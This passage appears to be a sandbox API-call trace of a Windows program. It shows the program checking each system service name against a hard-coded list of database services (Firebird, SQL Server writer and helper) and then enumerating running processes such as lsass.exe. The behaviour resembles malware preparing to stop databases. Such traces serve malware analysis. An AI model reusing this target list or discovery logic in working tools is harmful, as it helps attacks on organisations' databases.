[0099.936] lstrlenW (lpString="BFE") returned 3 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0099.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0099.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0099.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0099.936] lstrlenW (lpString="BITS") returned 4 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0099.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0099.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0099.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0099.936] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0099.936] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0099.936] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0099.936] lstrlenW (lpString="CDPSvc") returned 6 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0099.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0099.936] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0099.936] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0099.936] lstrlenW (lpString="ClickToRunSvc") returned 13 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0099.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0099.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0099.937] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0099.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0099.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0099.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0099.937] lstrlenW (lpString="CryptSvc") returned 8 [0099.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0099.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0099.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0099.937] lstrlenW (lpString="DcomLaunch") returned 10 [0099.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0099.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0099.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0099.937] lstrlenW (lpString="DeviceAssociationService") returned 24 [0099.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0099.937] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0099.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0099.937] lstrlenW (lpString="Dhcp") returned 4 [0099.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0099.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0099.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0099.938] lstrlenW (lpString="Dnscache") returned 8 [0099.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0099.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0099.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0099.938] lstrlenW (lpString="DoSvc") returned 5 [0099.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0099.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0099.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0099.938] lstrlenW (lpString="DPS") returned 3 [0099.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0099.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0099.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0099.938] lstrlenW (lpString="DusmSvc") returned 7 [0099.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0099.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0099.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0099.938] lstrlenW (lpString="EventLog") returned 8 [0099.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0099.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0099.938] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0099.938] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0099.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0099.939] lstrlenW (lpString="EventSystem") returned 11 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0099.939] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0099.939] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0099.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0099.939] lstrlenW (lpString="FontCache") returned 9 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0099.939] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0099.939] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0099.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0099.939] lstrlenW (lpString="gpsvc") returned 5 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0099.939] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0099.939] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0099.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0099.939] lstrlenW (lpString="iphlpsvc") returned 8 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.939] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0099.939] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0099.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0099.939] lstrlenW (lpString="KeyIso") returned 6 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0099.939] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0099.939] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0099.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0099.939] lstrlenW (lpString="LanmanServer") returned 12 [0099.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0099.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0099.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0099.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0099.940] lstrlenW (lpString="LanmanWorkstation") returned 17 [0099.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0099.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0099.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0099.940] lstrlenW (lpString="lfsvc") returned 5 [0099.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0099.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0099.940] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0099.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0099.940] lstrlenW (lpString="lmhosts") returned 7 [0099.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0099.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0099.940] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0099.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0099.940] lstrlenW (lpString="LSM") returned 3 [0099.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0099.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0099.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0099.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0099.940] lstrlenW (lpString="MpsSvc") returned 6 [0099.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0099.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0099.940] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0099.941] lstrlenW (lpString="NcbService") returned 10 [0099.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0099.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0099.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0099.941] lstrlenW (lpString="netprofm") returned 8 [0099.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0099.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0099.941] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0099.941] lstrlenW (lpString="NgcSvc") returned 6 [0099.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0099.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0099.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0099.941] lstrlenW (lpString="NlaSvc") returned 6 [0099.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0099.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0099.941] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0099.941] lstrlenW (lpString="nsi") returned 3 [0099.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0099.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0099.941] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0099.941] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0099.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0099.941] lstrlenW (lpString="PcaSvc") returned 6 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0099.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0099.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0099.942] lstrlenW (lpString="PlugPlay") returned 8 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0099.942] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0099.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0099.942] lstrlenW (lpString="Power") returned 5 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0099.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0099.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0099.942] lstrlenW (lpString="ProfSvc") returned 7 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0099.942] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0099.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0099.942] lstrlenW (lpString="RpcEptMapper") returned 12 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0099.942] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0099.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0099.942] lstrlenW (lpString="RpcSs") returned 5 [0099.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0099.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0099.942] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0099.943] lstrlenW (lpString="SamSs") returned 5 [0099.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0099.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0099.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0099.943] lstrlenW (lpString="Schedule") returned 8 [0099.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0099.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0099.943] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0099.943] lstrlenW (lpString="SecurityHealthService") returned 21 [0099.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0099.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0099.943] lstrlenW (lpString="SENS") returned 4 [0099.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0099.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0099.943] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0099.943] lstrlenW (lpString="ShellHWDetection") returned 16 [0099.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0099.943] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0099.943] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0099.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0099.943] lstrlenW (lpString="Spooler") returned 7 [0099.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0099.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0099.944] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0099.944] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0099.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0099.944] lstrlenW (lpString="SSDPSRV") returned 7 [0099.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0099.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0099.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0099.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0099.944] lstrlenW (lpString="StateRepository") returned 15 [0099.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0099.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0099.944] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0099.944] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0099.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0099.944] lstrlenW (lpString="SysMain") returned 7 [0099.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0099.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0099.944] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0099.944] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0099.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f7728 | out: hHeap=0x5b0000) returned 1 [0099.945] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0099.953] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0099.954] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0099.955] lstrlenW (lpString="System") returned 6 [0099.955] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0099.956] lstrlenW (lpString="smss.exe") returned 8 [0099.956] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.956] lstrlenW (lpString="csrss.exe") returned 9 [0099.956] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0099.957] lstrlenW (lpString="wininit.exe") returned 11 [0099.957] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0099.958] lstrlenW (lpString="csrss.exe") returned 9 [0099.958] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0099.959] lstrlenW (lpString="winlogon.exe") returned 12 [0099.959] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0099.959] lstrlenW (lpString="services.exe") returned 12 [0099.960] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0099.960] lstrlenW (lpString="lsass.exe") returned 9 [0099.960] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.961] lstrlenW (lpString="svchost.exe") returned 11 [0099.961] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.962] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.962] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0099.963] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0099.963] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.964] 